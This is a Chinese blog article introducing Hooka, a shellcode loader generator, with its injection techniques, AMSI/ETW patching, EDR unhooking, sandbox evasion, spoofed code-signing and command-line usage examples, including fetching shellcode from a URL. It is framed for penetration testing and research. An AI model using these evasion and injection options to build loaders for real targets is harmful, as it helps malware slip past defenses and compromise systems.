当前位置: 首页 > article >正文

Hooka:多功能 Shellcode 加载器生成工具详解

Hooka

介绍

Hooka 是一款功能强大的 shellcode 加载器生成工具。它能够生成多种功能的 shellcode 加载器,并基于 BokuLoader、Freeze 或 Shhhloader 等其他工具,尝试实现更多规避功能。尽管 Golang 不是恶意软件开发的完美语言,但它非常适合用于测试目的。如果你需要一个专业且万无一失的加载器,建议使用 C++、C# 或其他类似的语言来创建自己的加载器。

项目地址

https://github.com/D3Ext/Hooka.git

功能

Hooka 的强大之处在于其丰富的功能组合,覆盖从注入到规避的全流程需求:

多种注入技术

Hooka 支持多种注入技术,满足不同场景需求:

  • SuspendedProcess:暂停目标进程,注入 shellcode 后恢复进程。

  • ProcessHollowing:创建一个空进程,替换其内存映像以注入 shellcode。

  • NtCreateThreadEx:使用 Windows API 创建线程以注入 shellcode。

  • EtwpCreateEtwThread:利用 ETW(事件跟踪)创建线程以注入 shellcode。

  • NtQueueApcThreadEx:使用异步过程调用(APC)注入 shellcode。

  • No-RWX:通过非可执行内存区域注入 shellcode。

灵活的 Shellcode 来源

Hooka 支持从多种来源加载 shellcode:

  • 本地文件:支持 PE 和 DLL 格式的本地文件。

  • 远程 URL:可以直接从远程 URL 加载 shellcode。

  • 内置测试用例:内置 calc.exe 测试用例,方便快速验证功能。

示例:

从原始文件、PE、DLL 或 URL 获取 shellcode
支持 EXE 和 DLL 作为输出加载器格式

加密与混淆

Hooka 提供多种加密和混淆选项,以提高 shellcode 的隐蔽性和安全性:

  • AES:高级加密标准。

  • 3DES:三重数据加密算法。

  • RC4:流加密算法。

  • XOR:简单的异或加密。

此外,Hooka 还支持 Shikata Ga Nai 编码和 Caesar 密码混淆字符串。

示例:

AES、3DES、RC4、XOR

反检测机制

Hooka 默认修补 AMSI 和 ETW,并支持多种反检测技术,以降低被检测的风险:

  • AMSI 和 ETW 修补(默认启用):修补 AMSI 和 ETW,防止被检测。

  • 随机变量和函数名称:使用随机变量和函数名称,增加代码的复杂性。

  • Shikata Ga Nai 混淆:使用 Shikata Ga Nai 编码混淆代码。

  • 检测沙箱的多种方法:通过多种方法检测沙箱环境。

  • 运行前检查用户名和计算机名称是否匹配:确保仅在预期环境中运行。

  • 启用 ACG Guard 保护:防止 AV/EDR 修改现有的可执行代码。

  • 阻止非 Microsoft 签名的 DLL 注入到创建的进程中:确保注入的 DLL 是可信的。

示例:

AMSI 和 ETW 修补(默认启用)
随机变量和函数名称
Shikata Ga Nai 混淆
检测沙箱的多种方法
运行前检查用户名和计算机名称是否匹配
启用 ACG Guard 保护
阻止非 Microsoft 签名的 DLL 注入到创建的进程中

解钩与隐蔽

Hooka 支持多种高级解钩和隐蔽技术,以降低被 EDR 捕获的风险:

  • Classic:经典的解钩技术。

  • Full DLL:全面的 DLL 解钩技术。

  • Perun's Fart technique:Perun 的 Fart 技术。

  • Phant0m 技术挂起 EventLog 线程:使用 Phant0m 技术挂起 EventLog 线程。

  • Windows API 哈希:使用 Windows API 哈希来检索函数指针。

示例:

Classic
Full DLL
Perun's Fart technique
Phant0m 技术挂起 EventLog 线程
Windows API 哈希

签名与压缩

Hooka 提供可选的真实或伪造证书签名,并结合 UPX 压缩减少文件体积,提升隐蔽性:

  • 使用假证书或真实证书对 shellcode 加载程序进行签名:提高加载程序的可信度。

  • 通过 Caesar 密码进行字符串混淆:混淆字符串以防止静态分析。

  • 使用 Golang compile 和 UPX(如果已安装)压缩代码:减少文件体积,提高隐蔽性。

  • 计算 loader 的二进制熵:评估文件的随机性。

  • 计算 MD5、SHA1 和 SHA256 校验和以跟踪加载程序:确保文件的完整性和一致性。

示例:

使用假证书或真实证书对 shellcode 加载程序进行签名
通过 Caesar 密码进行字符串混淆
使用 Golang compile 和 UPX(如果已安装)压缩代码权重
计算 loader 的二进制熵
计算 MD5、SHA1 和 SHA256 校验和以跟踪加载程序

快速安装

安装 Hooka 非常简单,只需按照以下步骤操作:

git clone https://github.com/D3Ext/Hooka
cd Hooka
make

工具参数

必需参数

这些参数是使用 Hooka 的基本要求:

-i, --input 字符串 有效负载以原始格式注入,如 PE、DLL 或从 URL 注入
-o, --output 输出文件的字符串名称(即 loader.exe)
-f, --format 要生成的有效负载的字符串格式(可用:exe、dll)(默认 EXE)

执行参数

这些参数用于指定执行技术和其他相关选项:

--proc string 字符串进程,在给定执行技术需要时生成(处于暂停状态)(默认 notepad.exe)
--exec string 字符串技术用于加载 shellcode(默认为 “SuspendedProcess”):
  SuspendedProcess
  ProcessHollowing
  NtCreateThreadEx
  EtwpCreateEtwThread
  NtQueueApcThreadEx
  No-RWX

辅助参数

这些参数用于指定生成的加载程序的架构和其他辅助选项:

-a, --arch string 要生成的 loader 的架构(默认 amd64)
-c, --cert string 用于对生成的加载程序进行签名的证书(即 cert.pfx)
-d, --domain string 用于对加载程序进行签名的域(即 www.microsoft.com)

编码参数

这些参数用于指定加密和混淆选项:

--enc string 使用给定的算法加密 shellcode(可用:AES、3DES、RC4、XOR)(默认无)
--sgn 使用 Shikata Ga Nai 对生成的 loader 进行编码(必须安装在 path 上)
--strings 使用 Caesar cipher 混淆字符串

规避参数

这些参数用于指定反检测和隐蔽技术:

--unhook string 解钩技术 (available: full, peruns)
--sandbox 启用 Sandbox 规避
--no-amsi 不修补 AMSI
--no-etw 不要修补 ETW
--hashing 使用哈希检索函数指针
--user string 仅当运行加载程序的用户是预期用户(即 DESKTOP-E1D6G0Aadmin)时,才继续
--computername string 仅当计算机名称为预期名称(即 DESKTOP-E1D6G0A)时才继续
--acg 启用 ACG Guard 以防止 AV/EDR 修改现有的可执行代码
--blockdlls 防止非 Microsoft 签名的 DLL 注入子进程
--phantom 使用 Phant0m 技术挂起 EventLog 线程。需要高权限,否则 loader 会跳过此步骤
--sleep 使用自定义 sleep 函数延迟 shellcode 执行

额外参数

这些参数用于其他额外功能:

--calc 使用 calc.exe shellcode 来测试 loader 功能(不提供输入文件)
--compress 使用 Golang 编译器和 UPX(如果已安装)压缩生成的加载器
-r, --rand 使用一组随机参数创建随机加载器(仅用于测试目的)
-v, --verbose 启用 verbose 以打印额外信息
-h, --help 打印帮助面板

用法

基础生成

以下是一些基本的生成示例:

hooka -i shellcode.bin -o loader.exe
hooka -i http://192.168.1.126/shellcode.bin -o loader.exe

高级配置

使用 NtCreateThreadEx 注入,启用 ACG 保护,延迟执行:

hooka -i shellcode.bin -o loader.exe --exec NtCreateThreadEx --unhook full --sleep --acg

隐蔽增强

生成 DLL 格式,AES 加密,伪装微软域名签名:

hooka -i shellcode.bin -o loader.dll --domain www.domain.com --enc aes --verbose

生成简单的 EXE 加载程序

$ hooka_linux_amd64 -i shellcode.bin -o loader.exe

生成 DLL 加载程序

$ hooka_linux_amd64 -i shellcode.bin -o loader.dll -f dll

使用自定义配置(各种示例)

以下是一些自定义配置的示例:

$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --hashing --agc --sleep --verbose
$ hooka_linux_amd64 -i shellcode.bin -o loader.exe --exec ProcessHollowing --sgn --strings --blockdlls
$ hooka_linux_amd64 -i http://xx.xx.xx.xx/shellcode.bin --sandbox --sleep --domain www.microsoft.com --verbose
$ hooka_linux_amd64 --calc -o loader.exe --user "DESKTOP-E1D6G0Atom" --computername "DESKTOP-E1D6G0A" --compress --strings

工具示例

以下是 Hooka 工具的一些使用示例图片:

注意事项

在使用 Hooka 时,请确保遵守相关法律法规,避免将其用于非法活动。以下是一些使用时的注意事项:

  • 合法性验证:确保生成的加载器仅用于授权环境下的测试或研究。

  • 环境隔离:建议在隔离环境中测试生成的加载器,以防止意外影响正常系统。

  • 更新依赖:定期更新工具及其依赖项,以获得最新功能和修复已知漏洞。

社区支持

如果在使用过程中遇到问题,可以参考以下资源获取帮助:

  • GitHub Issues:提交问题或功能请求至 项目 Issues 页面。

  • 社区讨论:加入相关安全社区,与其他用户交流使用经验。

总结

Hooka 是一款功能强大的工具,适用于渗透测试和安全研究。通过灵活的配置选项,用户可以生成高度定制化的加载器,同时结合多种规避技术,降低被检测的风险。然而,工具的使用需谨慎,确保符合道德和法律规范。

希望这篇详细的介绍能帮助您更好地理解和使用 Hooka 工具。祝您在安全研究的道路上越走越远!


参考链接:

  • Hooka GitHub 项目

  • Shikata Ga Nai 编码

  • UPX 压缩工具


版权声明:

本文档中的所有内容仅供学习和研究之用,不得用于任何非法目的。作者和团队不对因使用本文档而产生的任何后果负责。请遵守相关法律法规,合理使用工具。


http://www.kler.cn/a/587928.html

相关文章:

  • harmonyOS NEXT开发与前端开发深度对比分析
  • 【linux篇】--linux常见指令
  • MyBatis SqlSessionFactoryBuilder 的作用是什么?
  • Android 手机启动过程
  • R语言零基础系列教程-01-R语言初识与学习路线
  • Java 大视界 -- 基于 Java 的大数据实时流处理中的窗口操作与时间语义详解(135)
  • FPGA中级项目2——硬核 or 软核与FIFO的配置
  • 前端---初识HTML(前端三剑客)
  • ModelScope推理QwQ32B
  • 【QA】模板方法模式在Qt中有哪些应用?
  • 基于SSM+Vue+uniapp的科创微应用(可改为研学)小程序+LW示例
  • 离线资源的加密保护
  • 封装红黑树->mapset
  • 个人学习编程(3-16) leetcode刷题
  • generallseteter插件生成内容和数据库不一致
  • GPT 1-3(速通版)
  • 第36周:文献阅读
  • [oeasy]python074_ai辅助编程_水果程序_fruits_apple_banana_加法_python之禅
  • ssrf总结
  • Windows 上安装配置 Apache Tomcat 及Tomcat 与 JDK 版本对应